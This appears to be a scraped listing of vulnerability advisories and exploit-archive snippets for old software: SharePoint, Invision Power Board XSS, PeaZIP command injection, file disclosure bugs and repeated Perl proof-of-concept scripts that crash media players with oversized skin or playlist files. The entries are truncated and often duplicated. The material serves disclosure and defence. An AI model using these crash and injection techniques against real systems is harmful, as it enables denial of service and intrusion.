CVE-2010-0716

layouts/Upload.aspx in the Documents module in Microsoft SharePoint before 2010 uses URLs with the same hostname and port number for a web site's primary files and individual users' uploaded files aka attachments, which allows remote authenticated users to leverage same-origin relationships and...

Cross-Site Scripting vulnerabilities in Invision Power Board

Hello 3APA3A! I want to warn you about new vulnerabilities in Invision Power Board. These are Cross-Site Scripting vulnerabilities. Attack is going via attachment at click on the attachment in the post at forum or on the link to this attachment. These are persistent XSS vulnerabilities. I know fo...

Soritong MP3 Player 1.0 - SKIN Local Stack Overflow (PoC) (SEH)

Soritong MP3 Player 1.0 - SKIN Local Stack Overflow PoC SEH Soritong MP3 Player 1.0 SKIN Local Stack Overflow PoC Seh First:http://milw0rm.com/exploits/8624 By: ThE g0bL!N my $crash="\x41" x 5000 ; just random openmyfile,'UI.txt' ; print myfile $crash; Usage: After Clicking On file Perl Copy TXT...

Streaming Audio Player 0.9 (skin) Local Stack Overflow PoC (SEH)

No description provided by source. Streaming Audio Player 0.9 txt Local Stack Overflow PoC Seh By: ThE g0bL!N my $crash="\x41" x 5000 ; just random openmyfile,'UI.txt' print myfile $crash; Usage: After Clicking On file Perl Copy TXT File on this Diredtory skin\default\ Then Run The Program Boom...

Playlistmaker 1.5 Stack Overflow

!/usr/bin/perl Playlistmaker v1.5 .M3U/M3L/Txt File Local Stack Overflow POC Download: http://proletsoft.freeservers.com/mmb/playlistmaker.html Welcom Back Milw0rm my $crash="\x41" x 5000 ; openmyfile,'PoC.m3u'; M3U/M3L/Txt print myfile $crash; By ThE g0bL!N Usgae:open existing Plylis = Poc.m3u =...

Playlistmaker 1.5 (.M3U/M3L/TXT File) Local Stack Overflow PoC

No description provided by source. !/usr/bin/perl Playlistmaker v1.5 .M3U/M3L/Txt File Local Stack Overflow POC Download: http://proletsoft.freeservers.com/mmb/playlistmaker.html Welcom Back Milw0rm my $crash="\x41" x 5000 ; openmyfile,'PoC.m3u'; M3U/M3L/Txt print myfile $crash; By ThE g0bL!N...

Playlistmaker 1.5 (.M3U/M3L/TXT File) Local Stack Overflow PoC

Exploit for unknown platform in category dos / poc ============================================================== Playlistmaker 1.5 .M3U/M3L/TXT File Local Stack Overflow PoC ============================================================== !/usr/bin/perl Playlistmaker v1.5 .M3U/M3L/Txt File Local...

Playlistmaker 1.5 (.M3U/M3L/TXT File) Local Stack Overflow PoC

No description provided by source. !/usr/bin/perl Playlistmaker v1.5 .M3U/M3L/Txt File Local Stack Overflow POC Download: http://proletsoft.freeservers.com/mmb/playlistmaker.html Welcom Back Milw0rm my $crash="\x41" x 5000 ; openmyfile,'PoC.m3u'; M3U/M3L/Txt print myfile $crash; By ThE g0bL!N...

Playlistmaker 1.5 - .m3u .M3L .TXT Local Stack Overflow (PoC)

Playlistmaker 1.5 - .m3u .M3L .TXT Local Stack Overflow PoC !/usr/bin/perl Playlistmaker v1.5 .M3U/M3L/Txt File Local Stack Overflow POC Download: http://proletsoft.freeservers.com/mmb/playlistmaker.html Welcom Back Milw0rm my $crash="\x41" x 5000 ; openmyfile,'PoC.m3u'; M3U/M3L/Txt print myfile...

Playlistmaker 1.5 - '.m3u' / '.M3L' / '.TXT' Local Stack Overflow (PoC)

!/usr/bin/perl Playlistmaker v1.5 .M3U/M3L/Txt File Local Stack Overflow POC Download: http://proletsoft.freeservers.com/mmb/playlistmaker.html Welcom Back Milw0rm my $crash="\x41" x 5000 ; openmyfile,'PoC.m3u'; M3U/M3L/Txt print myfile $crash; By ThE g0bL!N Usgae:open existing Plylis = Poc.m3u =...

Command injection

PeaZIP 2.6.1, 2.5.1, and earlier on Windows allows user-assisted remote attackers to execute arbitrary commands via a .zip archive with a .txt file whose name contains | pipe characters and a command...

IIS write permissions vulnerability principle&use of tools Manual Version-bug warning-the black bar safety net

Very old stuff, strictly speaking, not a vulnerability, just set up poorly causing the Bug. Eight hundred years of encounter less than a, the result a few days ago the misfortune to run into. With JSKY scan People's station, the results of the scanner actually directly to the people of the whole...

VT-Auth 1.0 - 'zHk8dEes3.txt' File Disclosure

@=======================================@ ====C4TEAM.ORG====ByALBAYX====C4TEAM.ORG===== @=======================================@ @=Author : ByALBAYX @=Website : WWW.C4TEAM.ORG @===============TURKISH=================@ @=======================================@ @=Script : VT-Auth v1.0 @=S.Site :...

VT-Auth 1.0 (zHk8dEes3.txt) File Disclosure Vulnerability

No description provided by source. @=======================================@ ====C4TEAM.ORG====ByALBAYX====C4TEAM.ORG===== @=======================================@ @=Author : ByALBAYX @=Website : WWW.C4TEAM.ORG @===============TURKISH=================@ @=======================================@...

212Cafe WebBoard 2.90 Beta - Remote File Disclosure

Webboard = v.2.90 beta Remote File Disclosure Vulnerability ============================================================= Author: MrDoug Email: mrdoug13 at gmail dot com Greetz to all my friends ============================================================= There are 3 vulnerable calls to fopen in...

Webboard <= v.2.90 beta Remote File Disclosure Vulnerability

Exploit for unknown platform in category web applications ============================================================ Webboard = v.2.90 beta Remote File Disclosure Vulnerability ============================================================ Webboard = v.2.90 beta Remote File Disclosure Vulnerabili...

iShowMusic V1. 2 direct write shell vulnerability-vulnerability warning-the black bar safety net

By qiur3n iShow Music is a basic set in the PHP+TXT online music player. The program uses text data stored in a way, without MYSQL database support, and the program code and interface templates separated, and easy to your music website interface to modify. Official website: http://www.ishowsky.cn...

Heap overflow

Multiple heap-based buffer overflows in Media Commands 1.0 allow remote attackers to execute arbitrary code or cause a denial of service application crash via a long string in a 1 M3U, 2 M3l, 3 TXT, and 4 LRC playlist file...

CVE-2009-0885

Multiple heap-based buffer overflows in Media Commands 1.0 allow remote attackers to execute arbitrary code or cause a denial of service application crash via a long string in a 1 M3U, 2 M3l, 3 TXT, and 4 LRC playlist file...

Media Commands (M3U M3l TXT LRC Files) Local Heap Overflow PoC

No description provided by source. !usr/bin/perl Discovered & Coded by : Hakxer Media Commands M3U,M3l,TXT,LRC Files Crash PoC Greetz : Allah , ProViDoR , Egyptian x Hacker Team : Egy coders Team Download/http://www.mediacommands.com/download.html Description : Import Hakxer.Ext Into program...